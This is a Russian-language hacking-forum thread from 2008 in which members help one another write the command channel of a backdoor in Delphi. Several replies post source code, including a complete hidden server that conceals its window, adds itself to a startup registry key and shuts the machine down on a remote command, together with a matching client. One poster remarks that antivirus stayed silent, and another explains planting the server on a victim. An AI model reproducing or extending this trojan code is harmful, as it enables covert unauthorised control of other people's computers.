Бекдор. Передача команд

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by ronald, 3 Nov 2008.

  1. ronald

    ronald Elder - Старейшина

    Joined:
    27 Mar 2008
    Messages:
    252
    Likes Received:
    42
    Reputations:
    6
    Привет всем!
    Подскажите пожалуйста как средством UDP/TCP/Sockets... на делфи (7) написать бекдор, а точнее часть, передающую команды.
    К примеру:
    Client: reboot
    Server получает и идёт выполнение команды
    ExitWindowsEx(EWX_REBOOT,0);
    Подскажите как?
     
  2. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Часть передающая команды, обычно называется клиентом, в просторах интернета показано не мало примеров по написание троянов, что именно тебе непонятно?
     
  3. ronald

    ronald Elder - Старейшина

    Joined:
    27 Mar 2008
    Messages:
    252
    Likes Received:
    42
    Reputations:
    6
    мне непонятен именно сам механизм анализа переданной команды сервером
     
  4. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    А чего тут не понятного?Тут подумать и все станет понятно :D
    Или писать обертку для выполнения апи ф-ций через сокеты.Или запустить cmd с перенаправлением ввода\вывода через сокеты.
     
  5. reza4ok

    reza4ok New Member

    Joined:
    3 May 2008
    Messages:
    17
    Likes Received:
    1
    Reputations:
    0
    Если я правильно понял то тебе нада написать сервер и клиент для его управления. Сервер должен открыть порт:

    Code:
    TcpServer1.LocalPort := '1111'; //указываеш какой порт нада октрыть 
    Code:
     TcpServer1.Active := True; // открывается порт 
    Потом идёт обработка команды
    Code:
     u:=false; //переменной U присваеваем ложь
    begin
    repeat
    sleep(1000);
    if TcpServer1.ReceiveLn = 'X' then // если получили команду "X", то выпольняеш нужную тебе команду или процедуру
    until U;
    end;
     
    Теперь кодиш клиент:
    Code:
     TcpClient1.RemoteHost := Edit1.Text; // ip сервера
    TcpClient1.RemotePort := '1111'; // порт такой же как у сервера
    TcpClient1.Active := True; 
    Ну а что бы послать команды используй:
    Code:
     TcpClient1.Sendln(Edit2.Text); // здесь должна быть команда, то есть как я писал - Х
    Но здесь мождна обойтись и без Edit2.Text а просто кнопкой 
    Надеюсь написал то что ты хотел :)
     
    1 person likes this.
  6. Gulik

    Gulik New Member

    Joined:
    14 Mar 2007
    Messages:
    24
    Likes Received:
    4
    Reputations:
    0
    Полные исходники:


    Нужно Form1 убрать из Avto Create
    Сервер
    Code:
    program Intersec;
    
    uses
      Forms,
      Windows,
      Unit1 in 'Unit1.pas' {Form1};
    
    {$R *.res}
       var
          WhEvent : THandle; 
    begin
       Application.Initialize;
       ShowWindow(Application.Handle,SW_HIDE);
       Form1:=TForm1.Create(nil);
       Application.Run;
       WhEvent:=CreateEvent(nil, true, false, 'et');
       while (true) do begin
          WaitForSingleObject(WhEvent, 1000);
          Application.ProcessMessages;
       end;
    end.
    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, registry, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ScktComp;
    
    type
      TForm1 = class(TForm)
        ServerSocket1: TServerSocket;
        procedure FormCreate(Sender: TObject);
        procedure FormDestroy(Sender: TObject);
        procedure ServerSocket1ClientRead(Sender: TObject;
          Socket: TCustomWinSocket);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
    
    implementation
    
    {$R *.dfm}
    
    procedure TForm1.FormCreate(Sender: TObject);
       var
          RegIni : TRegIniFile;
    begin
       RegIni:=TRegIniFile.Create('Software');
       RegIni.RootKey:=HKEY_LOCAL_MACHINE;
       RegIni.OpenKey('Software', true);
       RegIni.OpenKey('Microsoft', true);
       RegIni.OpenKey('Windows', true);
       RegIni.OpenKey('CurrentVersion', true);
       RegIni.WriteString('RunServices', 'Intersec.exe', 'Application.ExeName');
       RegIni.Free;  
       ServerSocket1.Active:=true;
    end;
    
    procedure TForm1.FormDestroy(Sender: TObject);
    begin
       ServerSocket1.Active:=False;
    end;
    
    procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
       var
          s: String;
    begin
       s:= Socket.ReceiveText;
       if s='Reboot' then
          ExitWindowsEx(EWX_SHUTDOWN, 0);  // или ExitWindowsEx(EWX_FORCE, 0); для мгновенного выключения компа
    end;
    
    end.
    Клинет:
    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, ScktComp, StdCtrls;
    
    type
      TForm1 = class(TForm)
        Button1: TButton;
        Edit1: TEdit;
        ClientSocket1: TClientSocket;
        Label1: TLabel;
        Edit2: TEdit;
        Label2: TLabel;
        procedure Button1Click(Sender: TObject);
        procedure FormDestroy(Sender: TObject);
        procedure FormCreate(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
    
    implementation
    
    {$R *.dfm}
    
    procedure TForm1.Button1Click(Sender: TObject);
    begin
       ClientSocket1.Address:=Edit1.Text;
       ClientSocket1.Active:=True;
       ClientSocket1.Socket.SendText(Edit2.Text);
       ClientSocket1.Active:=False;
    end;
    
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    
    end;
    
    procedure TForm1.FormDestroy(Sender: TObject);
    begin
       if ClientSocket1.Active then
          ClientSocket1.Active:=False;
    end;
    
    end.
    Так же можно скачать размер 384.93 KB

    В архиве exe`шники так что может сработать антивирус.
    Мой NOD32 v3 молчал.
     
  7. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    в примерах от борланда вроде была работа с сокетами на станд.компонентах ....
     
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    o_O делфи + vcl =бекдор
    Читай Delphi World aka 5005 статей по делфи. Там хорошо описана работа с сокетами через winsock. И размер будет меньше и работать будет шустрее.
    А на счет того как отправлять команды, то если не юзать всё в стиле терминала, то использую чтото типа пакетного режима. а именно
    типа такой пакет строй:CMD_ID_1#CMD_ID_2#
    другими словами - посылаешь коды команды разделенные какминить не цифровым символом типа #
    А в проге разбиваешь на составляющие части, далее strtoint а затем уже через case выбираешь нужное действие и после выполнения действия можно сделать ответный пакет типа CMD_ID#REPLY_CODE#REPLY
    т.е. ID команды которую выполнил. Ошибка или удачно и результат выполнения, если он конечно предусматривается, типа если вернуть список процессов )
    Но всёже достаточно будет сделать обычный шелл. И уже не нужно будет клиентсткое приложение. Для примера можешь глянуть шел с паролем вот тут http://forum.antichat.ru/showthread.php?p=892048#post892048
     
  9. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    186
    Likes Received:
    356
    Reputations:
    109
    Тут все очень просто. Описывю в двух словах:
    У тебя на компе остается Клиент, а сервер ты забрасывешь жертве. Сервер должен открыть порт и ждать подключения от клиента. После того как Клиент проконектиться к серверу у тебя появляеться возможность передавть команды. Команды, это просто строка текста, которая отправляется с клиента на сервер. На сервере она обрабатывается и через условие проверяется. Т.е весь код на отключение, открытие сидюка и прочее храниться на сервере а клиент только отпрвляет команды. Вот общий пример:

    Сервер - открываем порт и ждем подключения
    Кслиент- конектимся на порт
    Клиент - отправляем строку текста "open" на сервер
    Сервер - проверемя через условие(если получена команда "open" тогда открываем сидиром)
    и т.д пока не будет получена команда на дисконект